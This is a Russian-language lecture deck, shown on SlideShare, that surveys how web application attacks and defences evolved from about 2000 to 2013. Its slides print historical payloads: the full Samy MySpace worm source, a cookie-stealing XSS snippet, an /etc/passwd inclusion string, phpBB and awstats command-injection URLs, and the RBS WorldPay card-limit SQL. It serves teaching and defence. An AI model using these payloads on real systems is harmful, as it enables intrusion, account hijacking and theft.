Эволюция атак на веб-приложения и веб-сервисыБезопасность веб-технологий
О чем будем говорить Что такое веб-приложение и веб-служба Какие проблемы с безопасностью существуют Как эти проблемы и...
О чем говорить не будем Отличие злоумышленникам от хакера Отличие угроз, уязвимостей и атак Отличия различных типов сре...
Что есть веб- приложение/служба Что есть веб? Веб-приложение = клиент (браузер или его аналог) + веб-сервер (который мож...
Отличия Веб-приложение: «условно» стандартизовано HTTP/HTTPS Интернет и интранет Подразумевает «живого»клиента Веб-с...
Пример архитектуры Клиент (браузер, сценарий), веб-сервер. Опционально – СУБД, балансировщикинагрузки, IDS/IPS/WAF, фрон...
Примеры средств защиты «Низкие» уровни OSI, пакеты - межсетевой экран, роутер Пакеты, сегменты и данные - IPS/IDS (функц...
Выводы (веб-приложения) Логика работы уходит к клиенту Рост популярности в корпоративном секторе (предпочтение тонкомукл...
Атаки на веб-приложения (общее) Нарушение запланированной логики работы приложения(код, архитектура, дизайн, конфигурация...
Атаки на веб-приложения (200*) Как проводятся: руки, отдельные эксплоиты, простейшие сканеры Ограниченное число технолог...
Атаки на веб-приложения (200*) –Переполнение буфера (BoF), теория Самая популярная уязвимость, в вебе также распространен...
Атаки на веб-приложения (200*) –Переполнение буфера (BoF), практика Часто встречались в различныхрасширениях и дополнения...
Атаки на веб-приложения (200*) –Загрузка произвольных файлов(Unrestricted File Upload), теория Что это и где: загрузка не...
Атаки на веб-приложения (200*) –Загрузка произвольных файлов(Unrestricted File Upload), теорияЗащита:избегать возможности...
Атаки на веб-приложения (200*) –Загрузка произвольных файлов(Unrestricted File Upload), практика CVE-2006-3362: Unrestric...
Атаки на веб-приложения (200*) –XSS, теория Что это и где: атаки на клиентов путем подмены генерируемых веб-страниц(внедр...
Атаки на веб-приложения (200*) –XSS, практика Примеры атак: “><script … new Image() … img.src = „‟ + document.cookie Sa...
Атаки на веб-приложения (200*) –Внедрение операторов SQL (SQL-injection), теория Что это и где: внедрение своего кода в л...
Атаки на веб-приложения (200*) – Внедрениеоператоров SQL (SQL-injection), практика RBS WorldPay – 9 млн. $ из 130 ATMСогл...
Атаки на веб-приложения (200*) –Подключение произвольных файлов (*-fileinclusion/reading), теория Что это и где: возможно...
Атаки на веб-приложения (200*) –Подключение произвольных файлов (*-fileinclusion/reading), практика Классика:<?php includ...
Атаки на веб-приложения (200*) –Внедрение команд/кода(Command/code injection), теория Что это: интерпретация данных как к...
Атаки на веб-приложения (200*) – Внедрениекоманд/кода (Command/codeinjection), практика PhpBB <= 2.0.15 (PHP):preg_replac...
Атаки на веб-приложения (200*) -иноеМалое количество защитных мер, непопулярность бест-практис иотсутствие внимания к безо...
Атаки на веб-приложения (201*) Многие – новая коммерческая обертка для старых Нарушение логики работы архитектуры взаимо...
Распространенность проблем(рисков) по версии OWASP26
Атаки на веб-приложения (201*) –Подделка межсайтовых запросов(CSRF), теория Что это: возможность совершения действий в ре...
Атаки на веб-приложения (201*) –Подделка межсайтовых запросов(CSRF), практика Наличие инструкций в URI –самый очевидный, ...
Атаки на веб-приложения (201*) - BoF Все еще живы (и будут), но в крупных веб-серверах, модуляхвстречаются все реже (ngin...
Атаки на веб-приложения (201*) - XSS Новые механизмы защиты (IE X-XSS-Protection, FFNoScript, Chrome Anti-XSS filter, Con...
Атаки на веб-приложения (201*) - SQL Скорее исключение, чем правило Значительное снижение распространенности в результат...
Атаки на веб-приложения (201*) – черезОшибки авторизации (Missing FunctionLevel Access Control) Стали еще более популярны...
Атаки на веб-приложения (201*) –Ошибки в логике (Logic flaws) Были всегда, но популярность возрастает – как за счет услож...
Атаки на веб-приложения (201*) –криптография Требуют кропотливого труда и запаса времени и поэтому обычноориентированы на...
Атаки на веб-приложения (201*) –модули, плагины, расширения, апплеты Широкое разнообразие надстроек Разнородные ошибки –...
Атаки на веб-приложения (201*) –Отказ в обслуживании Рост популярности не только классическими вариантами, но и черезэксп...
Атаки на веб-приложения (201*) –иное Некоторые атаки встречаются все реже (LFI/RFI почти умер) Отдельные атаки никогда н...
Выводы (динамика развития атак навеб 2000-2013) Акцент смещается к атакам на клиентов (почему? – коммерческивыгодно фирма...
Дополнительно: какие еще атакибывают Другие инъекции (XML, XPath, LDAP, mail) Атаки на сессии (replay, fixation, predict...
Интересные материалы Ресурсы:http://www.slideshare.net/MattJohansen/top-10-web-hacks-2012https://www.pentesterlab.com/web...
Upcoming SlideShare
Loading in …5
×

Эволюция атак на веб приложения (Evolution of web applications attacks)

8,837 views

Published on

Обзор старых и новых методов эксплуатации ошибок в вебе, динамики их развития

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
8,837
On SlideShare
0
From Embeds
0
Number of Embeds
2
Actions
Shares
0
Downloads
6
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Эволюция атак на веб приложения (Evolution of web applications attacks)

  1. 1. Эволюция атак на веб-приложения и веб-сервисыБезопасность веб-технологий
  2. 2. О чем будем говорить Что такое веб-приложение и веб-служба Какие проблемы с безопасностью существуют Как эти проблемы используются хакерами2
  3. 3. О чем говорить не будем Отличие злоумышленникам от хакера Отличие угроз, уязвимостей и атак Отличия различных типов средств защиты3
  4. 4. Что есть веб- приложение/служба Что есть веб? Веб-приложение = клиент (браузер или его аналог) + веб-сервер (который может включать всебя веб-службы) Веб-служба (SOA) = клиент (Requester) + интерфейс (Broker) + логика (Provider) Где встречаются: Периметр (интернет-сайты, динамический контент для клиентов, удаленный доступ) Внутренний сегмент (серверы приложений, базы знаний и т. п.) Кем употребляется: всеми, но веб-службы обычно в серьезных проектах Зачем употребляется: организация удаленного доступа (SSL VPN, электронная почта); администрирование (сетевыми устройствами, ботами ;)); представление данных внешним пользователям (интернет-сайты, динамический контент для клиентов,базы знаний); взаимодействие между серверами приложений.4
  5. 5. Отличия Веб-приложение: «условно» стандартизовано HTTP/HTTPS Интернет и интранет Подразумевает «живого»клиента Веб-сервис стандартизованные протоколы исообщения SOAP через HTTP/HTTPS, SMTP(редко) Чаще – интранет Подразумевает клиента-автомат5Будем считать, что:Пару слов о RESTful API…
  6. 6. Пример архитектуры Клиент (браузер, сценарий), веб-сервер. Опционально – СУБД, балансировщикинагрузки, IDS/IPS/WAF, фронтенды, различные службы (веб-, каталогов ит.п.) Множество нововведений 200* - 201*6
  7. 7. Примеры средств защиты «Низкие» уровни OSI, пакеты - межсетевой экран, роутер Пакеты, сегменты и данные - IPS/IDS (функции часто присутствуют вфаерволе) Данные - Web Application Firewall (WAF) – софт и железо. Функции: фильтрация контента и прочее. Примеры: mod_security (софт), Barracuda WAF (железо). Встроенная функциональность платформ и языков (safe_mode, taintmode, etc.) Надстройки(администраторам - Suhosin, разработчикам – AntiXSS ианалоги)7
  8. 8. Выводы (веб-приложения) Логика работы уходит к клиенту Рост популярности в корпоративном секторе (предпочтение тонкомуклиенту) Становятся более защищенными (и сервер, и клиент)8
  9. 9. Атаки на веб-приложения (общее) Нарушение запланированной логики работы приложения(код, архитектура, дизайн, конфигурация, etc.) Все внешние данные – опасны, если они работают синтерфейсами, которые могут влиять на работу системы Факт: приемлемый интернет, дырявый интранет9
  10. 10. Атаки на веб-приложения (200*) Как проводятся: руки, отдельные эксплоиты, простейшие сканеры Ограниченное число технологий: ASP .NET, Perl (CGI), PHP. Массовые атаки (черви Blue Code, Code Red, etc.) Массовая эксплуатация уязвимостей в реализации (BoF‟ы и иже сними) Атак много – эксплуатируется (из общего числа) мало Обилие рабочих эксплоитов Рассмотрим самые распространенные уязвимости (статистикакомпаний упирается в своих специалистов или вообще в наличиерепортов об уязвимостях)10
  11. 11. Атаки на веб-приложения (200*) –Переполнение буфера (BoF), теория Самая популярная уязвимость, в вебе также распространена Причины: память несовершенна - критичная временная информация(окружение), хранимое в областях памяти (стек, куча) может бытьперезаписана; кодим обработку данных, но не думаем над характеристиками Как: отправляем данные, которые выполняются как нужные инструкции Результат: от чтения значений переменных до выполнения произвольногокода11
  12. 12. Атаки на веб-приложения (200*) –Переполнение буфера (BoF), практика Часто встречались в различныхрасширениях и дополнениях к серверу.Например: Apache OpenSSL heap overflow exploit:get_client_master_key(), KEY_ARG MS IIS 5.0 ISAPI printer BoF:http://#{buf}/NULL.printer?#{payload.encoded}12
  13. 13. Атаки на веб-приложения (200*) –Загрузка произвольных файлов(Unrestricted File Upload), теория Что это и где: загрузка непредусмотренных типов файлов;везде, где есть загрузка файлов (изображения, отладочнаяинформация к тикетам, шаблоны и т.п.) – чаще в админках Причины: отсутствие фильтрации параметров загрузки файла(имени, содержимого, пути загрузки, etc.) Как: подмена MIME-type; внедрение кода в корректный файл; различные расширения (некорректные, длинные, множественные, пустые и т.п.); использование функций платформы; загрузка управляющих файлов (.htaccess, web.config, crossdomain.xml etc.); нуль-байт в имени (например, при указании пути сохранения) Профит: от создания FTP-хранилища но захвата сервера13
  14. 14. Атаки на веб-приложения (200*) –Загрузка произвольных файлов(Unrestricted File Upload), теорияЗащита:избегать возможности загрузки ;использовать белые списки имен и расширений;фильтровать Content-type;принудительное приведение типов содержимого кбезопасному (text/plain);загружать в директории, недоступные хакеру.14
  15. 15. Атаки на веб-приложения (200*) –Загрузка произвольных файлов(Unrestricted File Upload), практика CVE-2006-3362: Unrestricted file upload vulnerability inconnectors/php/connector.php in FCKeditor ... allows remote attackers to uploadand execute arbitrary PHP code via a filename with a .php extension and a trailingextension that is allowed, such as .zip.Пример с .htaccess:15
  16. 16. Атаки на веб-приложения (200*) –XSS, теория Что это и где: атаки на клиентов путем подмены генерируемых веб-страниц(внедрение любого кода, с которым может работать браузер); везде, гдепользовательские данные выступают как код, обрабатываемый браузером(HTML содержимое, сценарии, Flash и т.п.). Часто встречаются в выводесистемных сообщений различных компонентов (XML-парсеры, трассировка запросов СУБД, etc.) Причины: отсутствие фильтрации данных, их использование дляформирования представления ответа браузеру Как: зависит от типа XSS, переход по ссылке клиентом Профит: обход SOP, перехват критичных данных(куки, токены, пароли), слежка за пользователем, эксплуатацияуязвимостей клиентской части, помощь в других атаках (CSRF, HTTP ResponseSplitting, etc.) Защита: фильтрация ввода и вывода (встроенные средства –например, html_safe), использование библиотек (AntiXSS), заголовки X-XSS-Protection, безопасная установка куки (время, флаги)16
  17. 17. Атаки на веб-приложения (200*) –XSS, практика Примеры атак: “><script … new Image() … img.src = „‟ + document.cookie Samy is my hero (2005) : 1млн пользователей за 20 часов. Причина –специфика работы со стилями браузеров<div id=mycode style="BACKGROUND: url(javascript:eval(document.all.mycode.expr))" expr="var B=String.fromCharCode(34);varA=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval(document.body.inne+rHTML)}}functiongetData(AU){M=getFromURL(AU,friendID);L=getFromURL(AU,Mytoken)}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split(&);var AS=newArray();for(var O=0;O<F.length;O++){var I=F[O].split(=);AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS[Mytoken];varM=AS[friendID];if(location.hostname==profile.myspace.com){document.location=http://www.myspace.com+location.pathname+location.search}else{if(!M){getData(g())}main()}functiongetClientFID(){return findIn(g(),up_launchIC( +A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+=&}varQ=escape(AV[P]);while(Q.indexOf(+)!=-1){Q=Q.replace(+,%2B)}while(Q.indexOf(&)!=-1){Q=Q.replace(&,%26)}N+=P+=+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){returnfalse}eval(J.onr+eadystatechange=BI);J.open(BJ,BH,true);if(BJ==POST){J.setRequestHeader(Content-Type,application/x-www-form-urlencoded);J.setRequestHeader(Content-Length,BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}functiongetHiddenParameter(BF,BG){return findIn(BF,name=+B+BG+B+ value=+B,B)}function getFromURL(BF,BG){var T;if(BG==Mytoken){T=B}else{T=&}var U=BG+=;var V=BF.indexOf(U)+U.length;varW=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}elseif(window.ActiveXObject){try{Z=new ActiveXObject(Msxml2.XMLHTTP)}catch(e){try{Z=new ActiveXObject(Microsoft.XMLHTTP)}catch(e){Z=false}}}return Z}var AA=g();varAB=AA.indexOf(m+ycode);var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf(D+IV);var AE=AC.substring(0,AD);varAF;if(AE){AE=AE.replace(jav+a,A+jav+a);AE=AE.replace(exp+r),exp+r)+A);AF= but most of all, samy is my hero. <d+iv id=+AE+D+IV>}var AG;functiongetHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,P+rofileHeroes,</td>);AG=AG.substring(61,AG.length);if(AG.indexOf(samy)==-1){if(AF){AG+=AF;varAR=getFromURL(AU,Mytoken);var AS=newArray();AS[interestLabel]=heroes;AS[submit]=Preview;AS[interest]=AG;J=getXMLObj();httpSend(/index.cfm?fuseaction=profile.previewInterests&Mytoken=+AR,postHero,POST,paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,Mytoken);var AS=newArray();AS[interestLabel]=heroes;AS[submit]=Submit;AS[interest]=AG;AS[hash]=getHiddenParameter(AU,hash);httpSend(/index.cfm?fuseaction=profile.processInterests&Mytoken=+AR,nothing,POST,paramsToString(AS))}function main(){var AN=getClientFID();varBH=/index.cfm?fuseaction=user.viewProfile&friendID=+AN+&Mytoken=+L;J=getXMLObj();httpSend(BH,getHome,GET);xmlhttp2=getXMLObj();httpSend2(/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken=+L,processxForm,GET)}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;varAQ=getHiddenParameter(AU,hashcode);var AR=getFromURL(AU,Mytoken);var AS=new Array();AS[hashcode]=AQ;AS[friendID]=11851658;AS[submit]=Add toFriends;httpSend2(/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken=+AR,nothing,POST,paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){returnfalse}eval(xmlhttp2.onr+eadystatechange=BI);xmlhttp2.open(BJ,BH,true);if(BJ==POST){xmlhttp2.setRequestHeader(Content-Type,application/x-www-form-urlencoded);xmlhttp2.setRequestHeader(Content-Length,BK.length)}xmlhttp2.send(BK);return true}"></DIV>17
  18. 18. Атаки на веб-приложения (200*) –Внедрение операторов SQL (SQL-injection), теория Что это и где: внедрение своего кода в легальный SQL-запрос (по-сути, программу);везде, где есть запросы СУБД, но нет фильтрации передаваемых параметровзапроса Причины: небезопасное создание запросов (конкатенация или замена строк) сиспользованием пользовательских данных, отсутствие их фильтрации Как: тестируем простейшую логику, определяем структуру начальногозапроса, корректно внедряем нужный код (зависит от типа запроса – обычно DML, оттипа СУБД и ее версии) Профит: от чтения полей (например, данные кредиток) и создания DoS до удаленияБД или захвата сервера Защита: использование безопасного API (LINQ, плейсхолдеры (prepared statements –сначала запрос, затем данные, обработка последовательная), надстройки длястатического анализа (CAT.NET), приведение типов данных, отключение выводаошибок, жесткая фильтрация прав, шифрование хранимых данных18
  19. 19. Атаки на веб-приложения (200*) – Внедрениеоператоров SQL (SQL-injection), практика RBS WorldPay – 9 млн. $ из 130 ATMСогласно информации, представленной вматериалах обвинения, лимиты снятия наличностипо картам через ATM и при расчётах через POS-терминалы были увеличены по различным картам от5 тыс. USD до 500 тыс. USD.UPDATE Card SET ATMxxxxxLimit =500000, POSxxxxxLimit = 500000, ATMxxxxxxxxx =500000, ATMxxxxxLimit2 = 500000, POSxxxxxLimit2 =500000, ATMxxxxxxxxx2 = 500000 WHERE xxxx PAN IN(xxxxxxxxxxxx1627) Вполне себе используются для распространениявредоносного ПО (особенно MSSQL); UPDATE [„+@T+‟] SET … [„+@C+‟] … <script src19
  20. 20. Атаки на веб-приложения (200*) –Подключение произвольных файлов (*-fileinclusion/reading), теория Что это и где: возможность подключения сценария (произвольного или доступного) иличтения произвольного (в пределах прав) файла. Универсальна по отношению кплатформам и ЯП. Встречается в любых функциях работы с локальной (../../../../) илиудаленной (file:///) файловой системой Причины: неверная обработка путей к файлам, выход за пределы исходногокаталога, отсутствие фильтрации параметров подключения сценариев (схем, хостов и т.п.) Как: указываем известное имя MIME-нейтрального файла (robots.txt, .htaccess), тестируемвозможность чтения иных локальных файлов и отсечения ненужных частей(%00, …, ?, %23), подключения удаленных файлов Профит: раскрытие исходного кода, получение учетных данных, выполнение произвольногокода (через использование схем php://input, , php://filter/convert.base64-encode/resource= 2013) Защита: установка настроек, ограничивающих подключение файлов (allow_url_* =Off), проверка в коде и обработчиках веб-сервера по соответствию регулярномувыражению (опасно) – структура, длина и т. п., приведение к нужной форме корректнаянастройка прав доступа к файлам, экранирование спец. символов20
  21. 21. Атаки на веб-приложения (200*) –Подключение произвольных файлов (*-fileinclusion/reading), практика Классика:<?php include (“includes/”.$_GET[„file‟].”.inc”; ?>?file=../../../../../../../../../../etc/passwd%00 Читаем passwd (здесь – JSP):а затем …21
  22. 22. Атаки на веб-приложения (200*) –Внедрение команд/кода(Command/code injection), теория Что это: интерпретация данных как кода, аргументов запуска утилит, небезопасноеиспользование модификатора /e при работе с регулярками, функцииeval(), exec(), system() и т.п. Причины: программист злоупотребляет командными интерфейсами и мешает код иданные пользователя, отсутствие фильтрации пользовательского ввода Как: тестить спец. символы - &&, |, ., ; (и какие угодно еще в зависимости отконтекста) Профит: зависит от имеющихся прав у приложения и иных компонентов сервера(вплоть до управления сервером от суперпользователя) Защита: не вызывать опасные функции (интерпретаторы команд) , использовать API«обертки» и безопасные режимы работы платформ (taint mode в Perl иRuby), фильтровать ввод по черным, белым спискам и регуляркам, экранироватьпотенциально опасные данные, минимизация привилегий приложения22
  23. 23. Атаки на веб-приложения (200*) – Внедрениекоманд/кода (Command/codeinjection), практика PhpBB <= 2.0.15 (PHP):preg_replace(#(>(((?>([^><]+|(?R)))*)<))#se,"@preg_replace(#b(" .str_replace(,, $highlight_match) . ")b#i,<span style="color:#" .$theme[fontcolor3] .""><b>1</b></span>, 0)", > . $message . <);$action = "/viewtopic.php?t=$topic&highlight=%2527%252esystem(".$cmd.")%252e%2527";OmniHTTPd 2.07 (Perl):if(open(CONFIG,"$searchdir$PROG.$SiteConfig.conf"))/cgi-bin/awstats.pl?configdir=/usr/bin/id%20%3E%20/tmp/id%20|%2023
  24. 24. Атаки на веб-приложения (200*) -иноеМалое количество защитных мер, непопулярность бест-практис иотсутствие внимания к безопасности в целом, малое количествограмотных специалистов в ИБ (как защита, так и атака), отсутствиестандартизации (в первую очередь, в браузерах), вся логика усервера, WEB 2.0 еще не вырос: брутфорс (идентификационные данные, расположение ресурсов прикорявых правах доступа); мало клиент сайда и много сервер-сайда, работало все подряд при маломколичестве защитных мер (например, XST); ошибки конфигураций (индексация директорий, некорректная обработкаисключений, переключение методов запроса, ошибки с расширениямифайлов и т. п.).24
  25. 25. Атаки на веб-приложения (201*) Многие – новая коммерческая обертка для старых Нарушение логики работы архитектуры взаимодействия Атак много – эксплуатируется много (рост квалификации, доступность информации и средств эксплуатации) Более сложные (нужно уметь читать код – DOM XSS, действовать в жестких условиях (SQL blind), хорошо понимать архитектуруприложения и сети (SSRF)) Комплексные (например, XSS+CSRF) Как проводятся: руки, плагины, сканеры, фреймворки, онлайн-сервисы. Необходимость обхода средств защиты (WAF, встроенные механизмы защиты в платформах): смена представления (кодировки); множественные вхождения идентичных параметров (заголовки, переменные) регистр (часто) и длина (редко); изменение способов передачи (подделка методов, http->https) фрагментация данных (chunked); использование синонимов (функции, методы, например onerror->onclick) Многие атаки канули в Лету (встречаются, но почти бесполезны для хакера – HRS, JSON hijacking, XST) Разнообразие платформ и языковРассмотрим самые популярные (и посмотрим на версию OWASP)25
  26. 26. Распространенность проблем(рисков) по версии OWASP26
  27. 27. Атаки на веб-приложения (201*) –Подделка межсайтовых запросов(CSRF), теория Что это: возможность совершения действий в результатенепреднамеренной (или преднамеренной, но неочевидной)инициации запроса к серверу от авторизованного пользователя Причины: корень зла – отсутствие нормальных механизмов контроляпараметров запроса клиента Как: найти запрос, отправляемый любым способом и выполняющийнужное действие сразу же по результатам его обработки безприменения «секретных» параметров запроса, сформироватьстраницу, инициирующую запрос любым доступным методом ивынудить атакуемого пользователя ее открыть Профит: авы Защита: anti-CSRF токены, на всякий случай – проверка Referer27
  28. 28. Атаки на веб-приложения (201*) –Подделка межсайтовых запросов(CSRF), практика Наличие инструкций в URI –самый очевидный, но неединственный показатель; Существовали и ранее, но небыло так популярно, так какуспешная атака подразумеваетзнание параметров запроса(соц. сервисы –да, самописная админка – нет).28
  29. 29. Атаки на веб-приложения (201*) - BoF Все еще живы (и будут), но в крупных веб-серверах, модуляхвстречаются все реже (nginx и обработка chunked запросов вконтексте ctx, CVE-2013-2028)+ if (ctx->size < 0 || ctx->length < 0) {+ goto invalid;+ } Рост сложности эксплуатации (защитные меры) Выгоднее не делать эксплоит, но искать уязвимость29
  30. 30. Атаки на веб-приложения (201*) - XSS Новые механизмы защиты (IE X-XSS-Protection, FFNoScript, Chrome Anti-XSS filter, Content Security Policy) Активное использование давно существующих средств защиты(httpOnly, 2002) => необходимость их обхода (длинныезаголовки->раскрытие куки, Java HTTP Api - getHeaderField) Web 2.0, HTML 5/CSS 3.0, рост комплексных и DOM-based AJAX и проблема Content-type Server-side XSS30
  31. 31. Атаки на веб-приложения (201*) - SQL Скорее исключение, чем правило Значительное снижение распространенности в результате наличиязащитных механизмов компонентов веб-приложений и использованиябезопасных методов программирования Ограничение возможностей злоумышленника по умолчанию в СУБД –блокировка доступа к различным объектам данных31
  32. 32. Атаки на веб-приложения (201*) – черезОшибки авторизации (Missing FunctionLevel Access Control) Стали еще более популярны В связи с необходимостью корректной настройки множестваразнородных компонентов администраторы забывают пропростейшие требования к безопасности Частый случай – 9 из 10 административных сценариев/функцийнедоступны, но один – доступен. Осталось найти его имя и параметры.32
  33. 33. Атаки на веб-приложения (201*) –Ошибки в логике (Logic flaws) Были всегда, но популярность возрастает – как за счет усложненияэксплуатации других атак, так и за счет роста кол-ва и сложностивзаимодействующих компонентов Не могут быть найдены при помощи автоматизированных средств Требуют ясного понимания принципов взаимодействия компонентовприложения Примеры: использование функции дешифрования с одинаковымипараметрами для критичных и некритичных данных (доступных дляпросмотра пользователю), управление потоком выполнения наосновании наличия/отсутствия переменной, безотносительно к еезначению33
  34. 34. Атаки на веб-приложения (201*) –криптография Требуют кропотливого труда и запаса времени и поэтому обычноориентированы на массовость (SSL/TLS, ASP .NET) Лидеры рейтинга техник веб-хакинга (WhiteHat Security) за последние 4года Чаще всего доходят до PoC‟а, но требуют весьма специфическихусловий34
  35. 35. Атаки на веб-приложения (201*) –модули, плагины, расширения, апплеты Широкое разнообразие надстроек Разнородные ошибки – от XSS до доступа к приватным методамзащищенных классов В большинстве случаев – необходимость обхода sandbox (но Java нетакая , i.e. Rhino Script Engine) Высокая рентабельность разработки эксплоитов => популярность35
  36. 36. Атаки на веб-приложения (201*) –Отказ в обслуживании Рост популярности не только классическими вариантами, но и черезэксплуатацию ошибок в приложениях, Web-протоколах и ихреализациях: ресурсоемкие криптографические операции, e.g. OpenSSL renegotiation)(протокол/реализация) ресурсоемкие операции СУБД (приложение); Apache Killer и заголовок Range (протокол/реализация); HTTP POST DoS – медленная отправка больших объемов данных (протокол)36
  37. 37. Атаки на веб-приложения (201*) –иное Некоторые атаки встречаются все реже (LFI/RFI почти умер) Отдельные атаки никогда не умрут (небезопаснаяконфигурация, ошибки в назначении прав доступа) «Социальные» атаки (ClickJacking, OpenRedirect, CSRF) «Белые» хакеры предпочитают искать возможность проведения самыхпростых для обнаружения (но не всегда - для эксплуатации) атак:CSRF, XSS, ClickJacking, OpenRedirect и т.п. Мобильные приложения и веб37
  38. 38. Выводы (динамика развития атак навеб 2000-2013) Акцент смещается к атакам на клиентов (почему? – коммерческивыгодно фирмам – меньше трудозатраты, проще искать, теоретически– сложнее отслеживать) Атаки становятся более комплексными Большая кучность, меньшая дальность: атаки становятся и болеесложными и более легкими (широкое распространение доп. средствзащиты – WAF‟ы и т.п., а также наличие встроенных средств защиты вкомпонентах, рост числа компонентов у клиентов – атаки черезJava, Flash, иные плагины etc.)38
  39. 39. Дополнительно: какие еще атакибывают Другие инъекции (XML, XPath, LDAP, mail) Атаки на сессии (replay, fixation, prediction) Утечки информации Проблемы «предсказуемости» (путей, сценариев, функций, значенийпараметров) Прочее39
  40. 40. Интересные материалы Ресурсы:http://www.slideshare.net/MattJohansen/top-10-web-hacks-2012https://www.pentesterlab.com/web_for_pentester/web_for_pentester.pdfhttps://www.owasp.orghttp://www.slideshare.net/andrewpetukhov/starter-edition Книги (последние издания): Web Application Hacker/Defender Handbook; 24 смертных греха компьютерной безопасности; The tangled Web.40

×